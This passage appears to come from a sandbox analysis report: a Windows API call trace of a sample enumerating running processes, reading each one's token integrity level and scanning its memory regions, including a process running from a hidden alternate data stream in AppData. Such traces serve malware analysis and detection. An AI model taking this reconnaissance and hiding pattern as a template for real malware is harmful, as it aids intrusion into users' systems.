[0058.192] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1acf180) returned 1 [0058.192] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x17af758 | out: Wow64Process=0x17af758) returned 1 [0058.192] IsWow64Process (in: hProcess=0x1c4, Wow64Process=0x17af768 | out: Wow64Process=0x17af768) returned 1 [0058.193] NtQueryInformationProcess (in: ProcessHandle=0x1c4, ProcessInformationClass=0x18, ProcessInformation=0x17af764, ProcessInformationLength=0x4, ReturnLength=0x17af768 | out: ProcessInformation=0x17af764, ReturnLength=0x17af768) returned 0x0 [0058.193] GetProcessTimes (in: hProcess=0x1c4, lpCreationTime=0x17af784, lpExitTime=0x17af78c, lpKernelTime=0x17af78c, lpUserTime=0x17af78c | out: lpCreationTime=0x17af784, lpExitTime=0x17af78c, lpKernelTime=0x17af78c, lpUserTime=0x17af78c) returned 1 [0058.193] OpenProcessToken (in: ProcessHandle=0x1c4, DesiredAccess=0x8, TokenHandle=0x17af758 | out: TokenHandle=0x17af758*=0x1f0) returned 1 [0058.193] GetTokenInformation (in: TokenHandle=0x1f0, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x17af754 | out: TokenInformation=0x0, ReturnLength=0x17af754) returned 0 [0058.193] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf99cd8 [0058.193] GetTokenInformation (in: TokenHandle=0x1f0, TokenInformationClass=0x19, TokenInformation=0xf99cd8, TokenInformationLength=0x14, ReturnLength=0x17af754 | out: TokenInformation=0xf99cd8, ReturnLength=0x17af754) returned 1 [0058.193] GetSidSubAuthorityCount (pSid=0xf99ce0*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000)) returned 0xf99ce1 [0058.193] GetSidSubAuthority (pSid=0xf99ce0*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000), nSubAuthority=0x0) returned 0xf99ce8 [0058.193] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf99cd8) returned 1 [0058.193] NtClose (Handle=0x1f0) returned 0x0 [0058.193] NtQueryVirtualMemory (in: ProcessHandle=0x1c4, Address=0x0, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0x0, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x10000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0058.193] NtQueryVirtualMemory (in: ProcessHandle=0x1c4, Address=0x10000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0x10000, AllocationBase=0x10000, AllocationProtect=0x4, RegionSize=0x10000, State=0x1000, Protect=0x4, Type=0x40000), ResultLength=0x0) returned 0x0 [0058.203] QueryFullProcessImageNameW (in: hProcess=0x1c8, dwFlags=0x0, lpExeName=0x1acf180, lpdwSize=0x17af784 | out: lpExeName="C:\\Program Files\\DVD Maker\\initialmasturbation.exe", lpdwSize=0x17af784) returned 1 [0058.203] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1acf180) returned 1 [0058.203] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x17af758 | out: Wow64Process=0x17af758) returned 1 [0058.203] IsWow64Process (in: hProcess=0x1c8, Wow64Process=0x17af768 | out: Wow64Process=0x17af768) returned 1 [0058.204] NtQueryInformationProcess (in: ProcessHandle=0x1c8, ProcessInformationClass=0x18, ProcessInformation=0x17af764, ProcessInformationLength=0x4, ReturnLength=0x17af768 | out: ProcessInformation=0x17af764, ReturnLength=0x17af768) returned 0x0 [0058.204] GetProcessTimes (in: hProcess=0x1c8, lpCreationTime=0x17af784, lpExitTime=0x17af78c, lpKernelTime=0x17af78c, lpUserTime=0x17af78c | out: lpCreationTime=0x17af784, lpExitTime=0x17af78c, lpKernelTime=0x17af78c, lpUserTime=0x17af78c) returned 1 [0058.204] OpenProcessToken (in: ProcessHandle=0x1c8, DesiredAccess=0x8, TokenHandle=0x17af758 | out: TokenHandle=0x17af758*=0x1f0) returned 1 [0058.204] GetTokenInformation (in: TokenHandle=0x1f0, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x17af754 | out: TokenInformation=0x0, ReturnLength=0x17af754) returned 0 [0058.204] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf99cd8 [0058.204] GetTokenInformation (in: TokenHandle=0x1f0, TokenInformationClass=0x19, TokenInformation=0xf99cd8, TokenInformationLength=0x14, ReturnLength=0x17af754 | out: TokenInformation=0xf99cd8, ReturnLength=0x17af754) returned 1 [0058.204] GetSidSubAuthorityCount (pSid=0xf99ce0*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000)) returned 0xf99ce1 [0058.204] GetSidSubAuthority (pSid=0xf99ce0*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000), nSubAuthority=0x0) returned 0xf99ce8 [0058.204] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf99cd8) returned 1 [0058.204] NtClose (Handle=0x1f0) returned 0x0 [0058.204] NtQueryVirtualMemory (in: ProcessHandle=0x1c8, Address=0x0, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0x0, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x10000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0058.204] NtQueryVirtualMemory (in: ProcessHandle=0x1c8, Address=0x10000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0x10000, AllocationBase=0x10000, AllocationProtect=0x4, RegionSize=0x10000, State=0x1000, Protect=0x4, Type=0x40000), ResultLength=0x0) returned 0x0 [0058.214] QueryFullProcessImageNameW (in: hProcess=0x1cc, dwFlags=0x0, lpExeName=0x1acf180, lpdwSize=0x17af784 | out: lpExeName="C:\\Program Files (x86)\\Microsoft Analysis Services\\tipalienenemies.exe", lpdwSize=0x17af784) returned 1 [0058.215] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0x1bfa2f0 [0058.215] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1bb7508) returned 1 [0058.215] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1acf180) returned 1 [0058.215] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x17af758 | out: Wow64Process=0x17af758) returned 1 [0058.215] IsWow64Process (in: hProcess=0x1cc, Wow64Process=0x17af768 | out: Wow64Process=0x17af768) returned 1 [0058.215] NtQueryInformationProcess (in: ProcessHandle=0x1cc, ProcessInformationClass=0x18, ProcessInformation=0x17af764, ProcessInformationLength=0x4, ReturnLength=0x17af768 | out: ProcessInformation=0x17af764, ReturnLength=0x17af768) returned 0x0 [0058.215] GetProcessTimes (in: hProcess=0x1cc, lpCreationTime=0x17af784, lpExitTime=0x17af78c, lpKernelTime=0x17af78c, lpUserTime=0x17af78c | out: lpCreationTime=0x17af784, lpExitTime=0x17af78c, lpKernelTime=0x17af78c, lpUserTime=0x17af78c) returned 1 [0058.215] OpenProcessToken (in: ProcessHandle=0x1cc, DesiredAccess=0x8, TokenHandle=0x17af758 | out: TokenHandle=0x17af758*=0x1f0) returned 1 [0058.215] GetTokenInformation (in: TokenHandle=0x1f0, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x17af754 | out: TokenInformation=0x0, ReturnLength=0x17af754) returned 0 [0058.215] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf99cd8 [0058.215] GetTokenInformation (in: TokenHandle=0x1f0, TokenInformationClass=0x19, TokenInformation=0xf99cd8, TokenInformationLength=0x14, ReturnLength=0x17af754 | out: TokenInformation=0xf99cd8, ReturnLength=0x17af754) returned 1 [0058.215] GetSidSubAuthorityCount (pSid=0xf99ce0*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000)) returned 0xf99ce1 [0058.215] GetSidSubAuthority (pSid=0xf99ce0*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000), nSubAuthority=0x0) returned 0xf99ce8 [0058.215] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf99cd8) returned 1 [0058.215] NtClose (Handle=0x1f0) returned 0x0 [0058.215] NtQueryVirtualMemory (in: ProcessHandle=0x1cc, Address=0x0, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0x0, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x10000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0058.215] NtQueryVirtualMemory (in: ProcessHandle=0x1cc, Address=0x10000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0x10000, AllocationBase=0x10000, AllocationProtect=0x4, RegionSize=0x10000, State=0x1000, Protect=0x4, Type=0x40000), ResultLength=0x0) returned 0x0 [0058.226] QueryFullProcessImageNameW (in: hProcess=0x1d0, dwFlags=0x0, lpExeName=0x1acf180, lpdwSize=0x17af784 | out: lpExeName="C:\\Program Files (x86)\\Windows Media Player\\inputs.exe", lpdwSize=0x17af784) returned 1 [0058.226] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1acf180) returned 1 [0058.226] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x17af758 | out: Wow64Process=0x17af758) returned 1 [0058.226] IsWow64Process (in: hProcess=0x1d0, Wow64Process=0x17af768 | out: Wow64Process=0x17af768) returned 1 [0058.226] NtQueryInformationProcess (in: ProcessHandle=0x1d0, ProcessInformationClass=0x18, ProcessInformation=0x17af764, ProcessInformationLength=0x4, ReturnLength=0x17af768 | out: ProcessInformation=0x17af764, ReturnLength=0x17af768) returned 0x0 [0058.226] GetProcessTimes (in: hProcess=0x1d0, lpCreationTime=0x17af784, lpExitTime=0x17af78c, lpKernelTime=0x17af78c, lpUserTime=0x17af78c | out: lpCreationTime=0x17af784, lpExitTime=0x17af78c, lpKernelTime=0x17af78c, lpUserTime=0x17af78c) returned 1 [0058.226] OpenProcessToken (in: ProcessHandle=0x1d0, DesiredAccess=0x8, TokenHandle=0x17af758 | out: TokenHandle=0x17af758*=0x1f0) returned 1 [0058.226] GetTokenInformation (in: TokenHandle=0x1f0, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x17af754 | out: TokenInformation=0x0, ReturnLength=0x17af754) returned 0 [0058.226] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf99cd8 [0058.226] GetTokenInformation (in: TokenHandle=0x1f0, TokenInformationClass=0x19, TokenInformation=0xf99cd8, TokenInformationLength=0x14, ReturnLength=0x17af754 | out: TokenInformation=0xf99cd8, ReturnLength=0x17af754) returned 1 [0058.226] GetSidSubAuthorityCount (pSid=0xf99ce0*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000)) returned 0xf99ce1 [0058.226] GetSidSubAuthority (pSid=0xf99ce0*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000), nSubAuthority=0x0) returned 0xf99ce8 [0058.226] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf99cd8) returned 1 [0058.226] NtClose (Handle=0x1f0) returned 0x0 [0058.226] NtQueryVirtualMemory (in: ProcessHandle=0x1d0, Address=0x0, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0x0, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x10000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0058.226] NtQueryVirtualMemory (in: ProcessHandle=0x1d0, Address=0x10000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0x10000, AllocationBase=0x10000, AllocationProtect=0x4, RegionSize=0x10000, State=0x1000, Protect=0x4, Type=0x40000), ResultLength=0x0) returned 0x0 [0058.237] QueryFullProcessImageNameW (in: hProcess=0x1d4, dwFlags=0x0, lpExeName=0x1acf180, lpdwSize=0x17af784 | out: lpExeName="C:\\Program Files\\MSBuild\\customize-ss-raid.exe", lpdwSize=0x17af784) returned 1 [0058.237] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1acf180) returned 1 [0058.237] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x17af758 | out: Wow64Process=0x17af758) returned 1 [0058.237] IsWow64Process (in: hProcess=0x1d4, Wow64Process=0x17af768 | out: Wow64Process=0x17af768) returned 1 [0058.237] NtQueryInformationProcess (in: ProcessHandle=0x1d4, ProcessInformationClass=0x18, ProcessInformation=0x17af764, ProcessInformationLength=0x4, ReturnLength=0x17af768 | out: ProcessInformation=0x17af764, ReturnLength=0x17af768) returned 0x0 [0058.237] GetProcessTimes (in: hProcess=0x1d4, lpCreationTime=0x17af784, lpExitTime=0x17af78c, lpKernelTime=0x17af78c, lpUserTime=0x17af78c | out: lpCreationTime=0x17af784, lpExitTime=0x17af78c, lpKernelTime=0x17af78c, lpUserTime=0x17af78c) returned 1 [0058.237] OpenProcessToken (in: ProcessHandle=0x1d4, DesiredAccess=0x8, TokenHandle=0x17af758 | out: TokenHandle=0x17af758*=0x1f0) returned 1 [0058.237] GetTokenInformation (in: TokenHandle=0x1f0, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x17af754 | out: TokenInformation=0x0, ReturnLength=0x17af754) returned 0 [0058.237] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf99cd8 [0058.238] GetTokenInformation (in: TokenHandle=0x1f0, TokenInformationClass=0x19, TokenInformation=0xf99cd8, TokenInformationLength=0x14, ReturnLength=0x17af754 | out: TokenInformation=0xf99cd8, ReturnLength=0x17af754) returned 1 [0058.238] GetSidSubAuthorityCount (pSid=0xf99ce0*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000)) returned 0xf99ce1 [0058.238] GetSidSubAuthority (pSid=0xf99ce0*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000), nSubAuthority=0x0) returned 0xf99ce8 [0058.238] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf99cd8) returned 1 [0058.238] NtClose (Handle=0x1f0) returned 0x0 [0058.238] NtQueryVirtualMemory (in: ProcessHandle=0x1d4, Address=0x0, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0x0, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x10000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0058.238] NtQueryVirtualMemory (in: ProcessHandle=0x1d4, Address=0x10000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0x10000, AllocationBase=0x10000, AllocationProtect=0x4, RegionSize=0x10000, State=0x1000, Protect=0x4, Type=0x40000), ResultLength=0x0) returned 0x0 [0058.249] QueryFullProcessImageNameW (in: hProcess=0x1d8, dwFlags=0x0, lpExeName=0x1acf180, lpdwSize=0x17af784 | out: lpExeName="C:\\Program Files\\Windows Journal\\hats_cruise.exe", lpdwSize=0x17af784) returned 1 [0058.249] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1acf180) returned 1 [0058.249] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x17af758 | out: Wow64Process=0x17af758) returned 1 [0058.249] IsWow64Process (in: hProcess=0x1d8, Wow64Process=0x17af768 | out: Wow64Process=0x17af768) returned 1 [0058.249] NtQueryInformationProcess (in: ProcessHandle=0x1d8, ProcessInformationClass=0x18, ProcessInformation=0x17af764, ProcessInformationLength=0x4, ReturnLength=0x17af768 | out: ProcessInformation=0x17af764, ReturnLength=0x17af768) returned 0x0 [0058.249] GetProcessTimes (in: hProcess=0x1d8, lpCreationTime=0x17af784, lpExitTime=0x17af78c, lpKernelTime=0x17af78c, lpUserTime=0x17af78c | out: lpCreationTime=0x17af784, lpExitTime=0x17af78c, lpKernelTime=0x17af78c, lpUserTime=0x17af78c) returned 1 [0058.249] OpenProcessToken (in: ProcessHandle=0x1d8, DesiredAccess=0x8, TokenHandle=0x17af758 | out: TokenHandle=0x17af758*=0x1f0) returned 1 [0058.249] GetTokenInformation (in: TokenHandle=0x1f0, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x17af754 | out: TokenInformation=0x0, ReturnLength=0x17af754) returned 0 [0058.249] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf99cd8 [0058.249] GetTokenInformation (in: TokenHandle=0x1f0, TokenInformationClass=0x19, TokenInformation=0xf99cd8, TokenInformationLength=0x14, ReturnLength=0x17af754 | out: TokenInformation=0xf99cd8, ReturnLength=0x17af754) returned 1 [0058.249] GetSidSubAuthorityCount (pSid=0xf99ce0*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000)) returned 0xf99ce1 [0058.249] GetSidSubAuthority (pSid=0xf99ce0*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000), nSubAuthority=0x0) returned 0xf99ce8 [0058.249] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf99cd8) returned 1 [0058.249] NtClose (Handle=0x1f0) returned 0x0 [0058.249] NtQueryVirtualMemory (in: ProcessHandle=0x1d8, Address=0x0, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0x0, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x10000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0058.249] NtQueryVirtualMemory (in: ProcessHandle=0x1d8, Address=0x10000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0x10000, AllocationBase=0x10000, AllocationProtect=0x4, RegionSize=0x10000, State=0x1000, Protect=0x4, Type=0x40000), ResultLength=0x0) returned 0x0 [0058.260] QueryFullProcessImageNameW (in: hProcess=0x1dc, dwFlags=0x0, lpExeName=0x1acf180, lpdwSize=0x17af784 | out: lpExeName="C:\\Program Files\\Internet Explorer\\indeed_batch_mixing.exe", lpdwSize=0x17af784) returned 1 [0058.260] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1acf180) returned 1 [0058.260] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x17af758 | out: Wow64Process=0x17af758) returned 1 [0058.260] IsWow64Process (in: hProcess=0x1dc, Wow64Process=0x17af768 | out: Wow64Process=0x17af768) returned 1 [0058.260] NtQueryInformationProcess (in: ProcessHandle=0x1dc, ProcessInformationClass=0x18, ProcessInformation=0x17af764, ProcessInformationLength=0x4, ReturnLength=0x17af768 | out: ProcessInformation=0x17af764, ReturnLength=0x17af768) returned 0x0 [0058.260] GetProcessTimes (in: hProcess=0x1dc, lpCreationTime=0x17af784, lpExitTime=0x17af78c, lpKernelTime=0x17af78c, lpUserTime=0x17af78c | out: lpCreationTime=0x17af784, lpExitTime=0x17af78c, lpKernelTime=0x17af78c, lpUserTime=0x17af78c) returned 1 [0058.260] OpenProcessToken (in: ProcessHandle=0x1dc, DesiredAccess=0x8, TokenHandle=0x17af758 | out: TokenHandle=0x17af758*=0x1f0) returned 1 [0058.261] GetTokenInformation (in: TokenHandle=0x1f0, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x17af754 | out: TokenInformation=0x0, ReturnLength=0x17af754) returned 0 [0058.261] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf99cd8 [0058.261] GetTokenInformation (in: TokenHandle=0x1f0, TokenInformationClass=0x19, TokenInformation=0xf99cd8, TokenInformationLength=0x14, ReturnLength=0x17af754 | out: TokenInformation=0xf99cd8, ReturnLength=0x17af754) returned 1 [0058.261] GetSidSubAuthorityCount (pSid=0xf99ce0*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000)) returned 0xf99ce1 [0058.261] GetSidSubAuthority (pSid=0xf99ce0*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000), nSubAuthority=0x0) returned 0xf99ce8 [0058.261] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf99cd8) returned 1 [0058.261] NtClose (Handle=0x1f0) returned 0x0 [0058.261] NtQueryVirtualMemory (in: ProcessHandle=0x1dc, Address=0x0, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0x0, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x10000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0058.261] NtQueryVirtualMemory (in: ProcessHandle=0x1dc, Address=0x10000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0x10000, AllocationBase=0x10000, AllocationProtect=0x4, RegionSize=0x10000, State=0x1000, Protect=0x4, Type=0x40000), ResultLength=0x0) returned 0x0 [0058.272] QueryFullProcessImageNameW (in: hProcess=0x1e0, dwFlags=0x0, lpExeName=0x1acf180, lpdwSize=0x17af784 | out: lpExeName="C:\\Windows\\System32\\wbem\\WmiPrvSE.exe", lpdwSize=0x17af784) returned 1 [0058.272] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1acf180) returned 1 [0058.272] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x17af758 | out: Wow64Process=0x17af758) returned 1 [0058.272] IsWow64Process (in: hProcess=0x1e0, Wow64Process=0x17af768 | out: Wow64Process=0x17af768) returned 1 [0058.272] NtQueryInformationProcess (in: ProcessHandle=0x1e0, ProcessInformationClass=0x18, ProcessInformation=0x17af764, ProcessInformationLength=0x4, ReturnLength=0x17af768 | out: ProcessInformation=0x17af764, ReturnLength=0x17af768) returned 0x0 [0058.272] GetProcessTimes (in: hProcess=0x1e0, lpCreationTime=0x17af784, lpExitTime=0x17af78c, lpKernelTime=0x17af78c, lpUserTime=0x17af78c | out: lpCreationTime=0x17af784, lpExitTime=0x17af78c, lpKernelTime=0x17af78c, lpUserTime=0x17af78c) returned 1 [0058.272] OpenProcessToken (in: ProcessHandle=0x1e0, DesiredAccess=0x8, TokenHandle=0x17af758 | out: TokenHandle=0x17af758*=0x1f0) returned 1 [0058.272] GetTokenInformation (in: TokenHandle=0x1f0, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x17af754 | out: TokenInformation=0x0, ReturnLength=0x17af754) returned 0 [0058.272] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf99cd8 [0058.272] GetTokenInformation (in: TokenHandle=0x1f0, TokenInformationClass=0x19, TokenInformation=0xf99cd8, TokenInformationLength=0x14, ReturnLength=0x17af754 | out: TokenInformation=0xf99cd8, ReturnLength=0x17af754) returned 1 [0058.272] GetSidSubAuthorityCount (pSid=0xf99ce0*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x4000)) returned 0xf99ce1 [0058.272] GetSidSubAuthority (pSid=0xf99ce0*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x4000), nSubAuthority=0x0) returned 0xf99ce8 [0058.272] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf99cd8) returned 1 [0058.272] NtClose (Handle=0x1f0) returned 0x0 [0058.287] QueryFullProcessImageNameW (in: hProcess=0x1e4, dwFlags=0x0, lpExeName=0x1acf180, lpdwSize=0x17af784 | out: lpExeName="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\VAYTH9~1:bin", lpdwSize=0x17af784) returned 1 [0058.287] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1acf180) returned 1 [0058.287] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x17af758 | out: Wow64Process=0x17af758) returned 1 [0058.287] IsWow64Process (in: hProcess=0x1e4, Wow64Process=0x17af768 | out: Wow64Process=0x17af768) returned 1 [0058.287] NtQueryInformationProcess (in: ProcessHandle=0x1e4, ProcessInformationClass=0x18, ProcessInformation=0x17af764, ProcessInformationLength=0x4, ReturnLength=0x17af768 | out: ProcessInformation=0x17af764, ReturnLength=0x17af768) returned 0x0 [0058.287] GetProcessTimes (in: hProcess=0x1e4, lpCreationTime=0x17af784, lpExitTime=0x17af78c, lpKernelTime=0x17af78c, lpUserTime=0x17af78c | out: lpCreationTime=0x17af784, lpExitTime=0x17af78c, lpKernelTime=0x17af78c, lpUserTime=0x17af78c) returned 1 [0058.288] OpenProcessToken (in: ProcessHandle=0x1e4, DesiredAccess=0x8, TokenHandle=0x17af758 | out: TokenHandle=0x17af758*=0x1f0) returned 1 [0058.288] GetTokenInformation (in: TokenHandle=0x1f0, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x17af754 | out: TokenInformation=0x0, ReturnLength=0x17af754) returned 0 [0058.288] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf99cd8 [0058.288] GetTokenInformation (in: TokenHandle=0x1f0, TokenInformationClass=0x19, TokenInformation=0xf99cd8, TokenInformationLength=0x14, ReturnLength=0x17af754 | out: TokenInformation=0xf99cd8, ReturnLength=0x17af754) returned 1 [0058.288] GetSidSubAuthorityCount (pSid=0xf99ce0*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000)) returned 0xf99ce1 [0058.288] GetSidSubAuthority (pSid=0xf99ce0*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000), nSubAuthority=0x0) returned 0xf99ce8 [0058.288] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf99cd8) returned 1 [0058.288] NtClose (Handle=0x1f0) returned 0x0 [0058.288] NtQueryVirtualMemory (in: ProcessHandle=0x1e4, Address=0x0, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0x0, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x10000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0058.288] NtQueryVirtualMemory (in: 